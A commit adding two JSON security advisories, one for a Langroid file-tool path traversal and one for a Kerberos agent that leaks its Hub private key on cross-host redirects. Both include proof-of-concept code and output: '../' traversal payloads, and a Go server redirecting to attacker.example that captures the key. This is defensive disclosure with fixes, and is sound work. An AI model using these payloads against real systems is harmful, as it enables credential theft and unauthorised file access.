Skip to content

Commit bd0328a

Browse files
1 parent 3e6f83f commit bd0328a

2 files changed

Lines changed: 127 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fg23-3346-88f5",
4+
"modified": "2026-07-02T17:38:04Z",
5+
"published": "2026-07-02T17:38:03Z",
6+
"aliases": [
7+
"CVE-2026-50181"
8+
],
9+
"summary": "Langroid: Path traversal in the file tools allows read/write outside configured current directory",
10+
"details": "### Summary\n\nLangroid's `ReadFileTool` and `WriteFileTool` appear to treat `curr_dir` as the intended working-directory boundary for file operations. However, the tools only change the process working directory to `curr_dir` and then operate on the user-supplied `file_path` without resolving and enforcing that the final path remains inside `curr_dir`.\n\nAs a result, a tool caller can supply path traversal sequences such as `../secret.txt` to read files outside the configured current directory, or `../written_by_tool.txt` to write files outside that directory.\n\nThis can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on `curr_dir` to restrict file access to a project/workspace directory.\n\n### Details\n\nAffected components:\n\n- `langroid/agent/tools/file_tools.py`\n- `langroid/utils/system.py`\n\nRelevant behavior observed:\n\n`ReadFileTool` contains a comment indicating the intended assumption:\n\n```text\n# ASSUME: file_path should be relative to the curr_dir\n\nThe tool then changes into the configured current directory and calls read_file(self.file_path).\n\nWriteFileTool similarly resolves curr_dir, changes into that directory, and calls create_file(self.file_path, self.content).\n\nThe issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr_dir.\n\nIn local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.\n\nPoC\n\nTested locally against the current Langroid repository checkout.\n\nEnvironment:\n\nPython 3.12\nLangroid installed in editable mode with pip install -e .\n\nPoC script:\n\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nimport os\n\nos.environ[\"docker\"] = \"false\"\nos.environ[\"DOCKER\"] = \"false\"\n\nfrom langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool\n\n\nclass DummyIndex:\n def add(self, files):\n print(\"dummy git add:\", files)\n\n def commit(self, message):\n print(\"dummy git commit:\", message)\n\n\nclass DummyRepo:\n index = DummyIndex()\n\n\nwith TemporaryDirectory() as root:\n base = Path(root)\n sandbox = base / \"sandbox\"\n sandbox.mkdir()\n\n secret = base / \"secret.txt\"\n secret.write_text(\"LANGROID_TOOL_ESCAPE_PROOF\", encoding=\"utf-8\")\n\n ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)\n read_tool = ReadSandbox(file_path=\"../secret.txt\")\n\n print(\"READ TOOL RESULT:\")\n print(read_tool.handle())\n\n WriteSandbox = WriteFileTool.create(\n get_curr_dir=lambda: sandbox,\n get_git_repo=lambda: DummyRepo(),\n )\n\n write_tool = WriteSandbox(\n file_path=\"../written_by_tool.txt\",\n content=\"WRITTEN_BY_LANGROID_TOOL\",\n language=\"text\",\n )\n\n print(\"WRITE TOOL RESULT:\")\n print(write_tool.handle())\n\n outside = base / \"written_by_tool.txt\"\n print(\"outside exists:\", outside.exists())\n print(\"outside content:\", outside.read_text(encoding=\"utf-8\"))\n\nObserved output:\n\nREAD TOOL RESULT:\n\n CONTENTS of ../secret.txt:\n (Line numbers added for reference only!)\n ---------------------------\n 1: LANGROID_TOOL_ESCAPE_PROOF\n\nWRITE TOOL RESULT:\nContent created/updated in: ..\\written_by_tool.txt\ndummy git add: ['../written_by_tool.txt']\ndummy git commit: Agent write file tool\nContent written to ../written_by_tool.txt and committed\noutside exists: True\noutside content: WRITTEN_BY_LANGROID_TOOL\n\nThis demonstrates that both read and write operations can escape the configured curr_dir using ../ traversal.\n\nImpact\n\nIf an application enables Langroid's file tools and treats curr_dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.\n\nPotential impact includes:\n\nReading files outside the intended workspace.\nWriting files outside the intended workspace.\nExposing local secrets, configuration files, source files, environment files, or other project-adjacent files.\nModifying files outside the intended project directory if WriteFileTool is enabled.\n\nThis is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.\n\nThis report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr_dir is intended to restrict file access.\n\nSuggested remediation\n\nBefore reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.\n\nExample patch pattern:\n\nfrom pathlib import Path\n\ndef safe_join(base_dir: str | Path, user_path: str | Path) -> Path:\n base = Path(base_dir).resolve()\n target = (base / user_path).resolve()\n\n if target != base and base not in target.parents:\n raise ValueError(\"Path escapes configured current directory\")\n\n return target\n\nThen use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.\n\nSuggested regression tests:\n\nReadFileTool(file_path=\"../secret.txt\") should be rejected.\nWriteFileTool(file_path=\"../outside.txt\") should be rejected.\nAbsolute paths outside curr_dir should be rejected.\nSymlink-based escapes should be rejected after final path resolution.\nNormal relative paths inside curr_dir, such as src/main.py, should continue to work.\n\n[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "langroid"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.64.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.63.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/langroid/langroid/security/advisories/GHSA-fg23-3346-88f5"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/langroid/langroid/commit/56e2756ecab70a70a7e6edbee2f2187b8484683e"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/langroid/langroid"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-22",
58+
"CWE-23"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-07-02T17:38:03Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-h5gx-45rj-2h5j",
4+
"modified": "2026-07-02T17:33:36Z",
5+
"published": "2026-07-02T17:33:36Z",
6+
"aliases": [
7+
"CVE-2026-50192"
8+
],
9+
"summary": "Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect",
10+
"details": "### Summary\n\nThe Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).\n\n### Impact\n\nThe Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.\n\n### Vulnerable code (file:line)\n\n`machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`):\n\n```go\n\t// Check if we are allowed to upload to the hub with these credentials.\n\t// There might be different reasons like (muted, read-only..)\n\treq, err := http.NewRequest(\"HEAD\", config.HubURI+\"/storage/upload\", nil)\n\tif err != nil {\n\t\terrorMessage := \"UploadKerberosHub: error reading HEAD request, \" + config.HubURI + \"/storage: \" + err.Error()\n\t\tlog.Log.Error(errorMessage)\n\t\treturn false, true, errors.New(errorMessage)\n\t}\n\n\treq.Header.Set(\"X-Kerberos-Storage-FileName\", fileName)\n\treq.Header.Set(\"X-Kerberos-Storage-Capture\", \"IPCamera\")\n\treq.Header.Set(\"X-Kerberos-Storage-Device\", config.Key)\n\treq.Header.Set(\"X-Kerberos-Hub-PublicKey\", config.HubKey)\n\treq.Header.Set(\"X-Kerberos-Hub-PrivateKey\", config.HubPrivateKey) // line 63\n\treq.Header.Set(\"X-Kerberos-Hub-Region\", config.S3.Region)\n\n\tvar client *http.Client\n\tif os.Getenv(\"AGENT_TLS_INSECURE\") == \"true\" {\n\t\ttr := &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t\tclient = &http.Client{Transport: tr}\n\t} else {\n\t\tclient = &http.Client{} // line 73 — no CheckRedirect\n\t}\n\n\tresp, err := client.Do(req)\n```\n\n`HubURI` is operator configuration:\n\n```go\nHubURI string `json:\"hub_uri\" bson:\"hub_uri\"`\n```\n\n### Attack scenario\n\n1. An operator configures the agent with a `hub_uri`.\n2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`.\n3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`.\n4. The attacker captures the Hub credentials.\n\n### Proof of concept\n\nDriver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect.\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/kerberos-io/agent/machinery/src/cloud\"\n\t\"github.com/kerberos-io/agent/machinery/src/models\"\n)\n\nfunc installResolver(mapping map[string]string) {\n\ttr := http.DefaultTransport.(*http.Transport).Clone()\n\ttr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\thost, _, _ := net.SplitHostPort(addr)\n\t\tif target, ok := mapping[host]; ok {\n\t\t\taddr = target\n\t\t}\n\t\treturn (&net.Dialer{}).DialContext(ctx, network, addr)\n\t}\n\thttp.DefaultTransport = tr\n}\n\nfunc main() {\n\tvar mu sync.Mutex\n\tvar sawPriv, sawPub string\n\tattacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tmu.Lock()\n\t\tsawPriv = r.Header.Get(\"X-Kerberos-Hub-PrivateKey\")\n\t\tsawPub = r.Header.Get(\"X-Kerberos-Hub-PublicKey\")\n\t\tmu.Unlock()\n\t\tfmt.Printf(\"[attacker host %s] received %s %s\\n\", r.Host, r.Method, r.URL.Path)\n\t\tfmt.Printf(\"[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\\n\", r.Host, r.Header.Get(\"X-Kerberos-Hub-PrivateKey\"))\n\t\tw.WriteHeader(200)\n\t}))\n\tdefer attacker.Close()\n\n\tlegit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Printf(\"[legit host %s] received %s %s -> 302 to attacker.example\\n\", r.Host, r.Method, r.URL.Path)\n\t\thttp.Redirect(w, r, \"http://attacker.example\"+r.URL.Path, http.StatusFound)\n\t}))\n\tdefer legit.Close()\n\n\tinstallResolver(map[string]string{\n\t\t\"legit.example\": strings.TrimPrefix(legit.URL, \"http://\"),\n\t\t\"attacker.example\": strings.TrimPrefix(attacker.URL, \"http://\"),\n\t})\n\n\tos.MkdirAll(\"data/recordings\", 0o755)\n\tos.WriteFile(\"data/recordings/clip.mp4\", []byte(\"FAKEMP4DATA\"), 0o644)\n\n\tcfg := &models.Configuration{\n\t\tConfig: models.Config{\n\t\t\tHubURI: \"http://legit.example\", // operator-configurable base URL\n\t\t\tHubKey: \"PUBLIC-KEY-12345\",\n\t\t\tHubPrivateKey: \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\",\n\t\t\tKey: \"device-key\",\n\t\t},\n\t}\n\tcfg.Config.S3.Region = \"us-east-1\"\n\t_, _, _ = cloud.UploadKerberosHub(cfg, \"clip.mp4\")\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PrivateKey = %q\\n\", sawPriv)\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PublicKey = %q\\n\", sawPub)\n}\n```\n\n### End-to-end reproduction\n\nPinned to `github.com/kerberos-io/agent/machinery@v3.6.25`. Verbatim `kerberos_hub.go` from that tag. Captured stdout:\n\n```\nlegit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1)\nattacker host (cross-origin) = http://attacker.example (-> 127.0.0.1)\ncalling cloud.UploadKerberosHub then client.Do\n[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)\n[INFO] UploadKerberosHub: Upload started for clip.mp4\n[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example\n[attacker host attacker.example] received HEAD /storage/upload\n[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example] X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)\n[legit host legit.example] received POST /storage/upload -> 302 to attacker.example\n[attacker host attacker.example] received GET /storage/upload\n[attacker host attacker.example] X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example] X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload Finished, 200 OK.\n----- RESULT -----\nattacker host saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\nattacker host saw X-Kerberos-Hub-PublicKey = \"PUBLIC-KEY-12345\"\nLEAK CONFIRMED: hub private key forwarded to cross-origin redirect target\n----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----\nattacker saw Authorization = \"\" (stdlib strips standard auth header cross-host)\nattacker saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\" (custom header NOT stripped -> the bug)\n```\n\nThe negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header.\n\n### Suggested fix\n\nSet a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host:\n\n```go\ncheckRedirect := func(req *http.Request, via []*http.Request) error {\n\tif len(via) > 0 && req.URL.Host != via[0].URL.Host {\n\t\treq.Header.Del(\"X-Kerberos-Hub-PrivateKey\")\n\t\treq.Header.Del(\"X-Kerberos-Hub-PublicKey\")\n\t}\n\treturn nil\n}\nclient = &http.Client{CheckRedirect: checkRedirect}\n```\n\nA regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it.\n\n### Fix PR\n\nA fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.\n\n### Credit\n\nReported by tonghuaroot.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/kerberos-io/agent/machinery"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.0.0-20260528173546-51f1a52e170f"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/kerberos-io/agent/security/advisories/GHSA-h5gx-45rj-2h5j"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/kerberos-io/agent/commit/51f1a52e170f21c1264c6de1dc781d5b5e2a5d09"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/kerberos-io/agent"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-200",
55+
"CWE-522"
56+
],
57+
"severity": "MODERATE",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-07-02T17:33:36Z",
60+
"nvd_published_at": null
61+
}
62+
}

0 commit comments

Comments
 (0)